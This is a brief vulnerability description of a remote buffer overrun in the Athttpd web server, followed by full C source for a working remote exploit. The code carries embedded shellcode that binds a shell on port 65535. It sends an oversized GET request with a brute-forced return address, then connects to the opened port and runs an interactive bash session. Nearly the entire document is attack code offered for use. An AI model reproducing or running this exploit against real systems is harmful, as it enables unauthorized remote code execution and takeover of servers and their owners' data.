Athttpd is said to be prone to a remote buffer overrun that could allow an attacker to execute arbitrary code. The problem occurs due to insufficient bounds checking when handling GET requests. As a result, an attacker may be capable of overrunning the bounds of an internal memory buffer and effectively control the flow of execution.
#include <stdio.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <netdb.h>
#include <unistd.h>
#include <sys/socket.h>
#include <errno.h>
char shellcode[]=
"\x31\xdb"
"\xf7\xe3"
"\x53"
"\x43"
"\x53"
"\x6a\x02"
"\x89\xe1"
"\xb0\x66"
"\xcd\x80"
"\xff\x49\x02"
"\x6a\x10"
"\x51"
"\x50"
"\x89\xe1"
"\x43"
"\xb0\x66"
"\xcd\x80"
"\x89\x41\x04"
"\xb3\x04"
"\xb0\x66"
"\xcd\x80"
"\x43"
"\xb0\x66"
"\xcd\x80"
"\x59"
"\x93"
"\xb0\x3f"
"\xcd\x80"
"\x49"
"\x79\xf9"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\xb0\x0b"
"\xcd\x80" ;
#define LEN 820
#define DEFAULT_OFFSET 2400
#define PORT 80
#define ALIGN 1
int connect_to_host(char *hs,int port)
{
int sock,x;
struct sockaddr_in addr;
struct hostent *host;
if(!(host = gethostbyname(hs))) {
perror("gethostbyname(): while resolving host");
exit(1);
}
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
bcopy(host->h_addr,&addr.sin_addr,host->h_length);
if((sock = socket(AF_INET, SOCK_STREAM, 0))<0) {
perror("socket() error");
return(-1);
}
if((x = connect(sock, (struct sockaddr *)&addr, sizeof(addr)))<0) {
perror("connect() error");
return(-1);
}
return sock;
}
void shell(int sd)
{
int check;
char cmd[]="id; w; uname -a; pwd;export TERM=vt100; exec /bin/bash -i\n";
char buf[2048];
fd_set fd;
bzero(buf,2048);
send(sd,cmd,strlen(cmd),0);
while(1) {
fflush(stdout);
FD_ZERO(&fd);
FD_SET(sd,&fd);
FD_SET(STDIN_FILENO,&fd);
select(sd+1,&fd,NULL,NULL,NULL);
if(FD_ISSET(sd,&fd)) {
if((check=read(sd,buf,2048))<=0)
exit(1);
buf[check]=0;
printf("%s",buf);
}
if(FD_ISSET(STDIN_FILENO,&fd)) {
if((check=read(STDIN_FILENO,buf,2048))>0) {
buf[check]=0;
write(sd,buf,check);
}
}
}
return;
}
int main(int argc,char **argv) {
int i,sd;
char http_req[LEN];
unsigned long int ret=0,offset=DEFAULT_OFFSET;
printf("(<->) Atphttpd <= 0.4b remote exploit by r-code d_fence@gmx.net\n");
printf("(<->) Greetz to: czarny,|stachu|, Nitro, Zami, Razor, Jedlik, Cypher\n\n");
if(argc<2 || argc>3){
printf("[-] Usage: %s [host] <offset> #OFFset\n",argv[0]);
return -1;
}
if(argc>2)
offset=atoi(argv[2]);
ret=0xbffffffa - offset;
printf("<==> OFFSET: 0x%x\n",offset);
printf("<==> RET_ADDR: 0x%x\n",ret);
http_req[0x00]='G';
http_req[0x01]='E';
http_req[0x02]='T';
http_req[0x03]=' ';
http_req[0x04]='/';
for(i=0x05;i<LEN;) {
http_req[ALIGN + i++] = (ret & 0x000000ff);
http_req[ALIGN + i++] = (ret & 0x0000ff00) >> 8;
http_req[ALIGN + i++] = (ret & 0x00ff0000) >> 16;
http_req[ALIGN + i++] = (ret & 0xff000000) >> 24;
}
for(i=0x05;i<(LEN/2);i++)
http_req[i]=0x41;
for(i=0;i<strlen(shellcode);i++)
http_req[(LEN/2)-(strlen(shellcode)/2)+i]=shellcode[i];
http_req[LEN-0x0c]=' ';
http_req[LEN-0x0b]='H';
http_req[LEN-0x0a]='T';
http_req[LEN-0x09]='T';
http_req[LEN-0x08]='P';
http_req[LEN-0x07]='/';
http_req[LEN-0x06]='1';
http_req[LEN-0x05]='.';
http_req[LEN-0x04]='1';
http_req[LEN-0x03]=0x0d;
http_req[LEN-0x02]=0x0a;
http_req[LEN-0x01]=0x00;
printf("<==> Connecting to '%s' on port '%d'..\n",argv[1],PORT);
if((sd=connect_to_host(argv[1],PORT))<0) {
printf("<==> Couldn`t connect to host.. :-/\n");
exit(1);
}
printf("<==> Sending packets..\n");
if(send(sd,http_req,LEN,0)<0) {
perror("<==> send(): while sending evil http request");
return -1;
}
close(sd);
if((sd=connect_to_host(argv[1],65535))<0) {
printf("<==> Exploit failed..! #Probably due to a bad offset\n");
return -1;
}
printf("\n### Exploit failed ");
fflush(stdout);
sleep(1);
printf("... just kidding ;]\n");
sleep(1);
printf("### Exploit successful - enjoy your shell\n\n");
shell(sd);
return 1;
}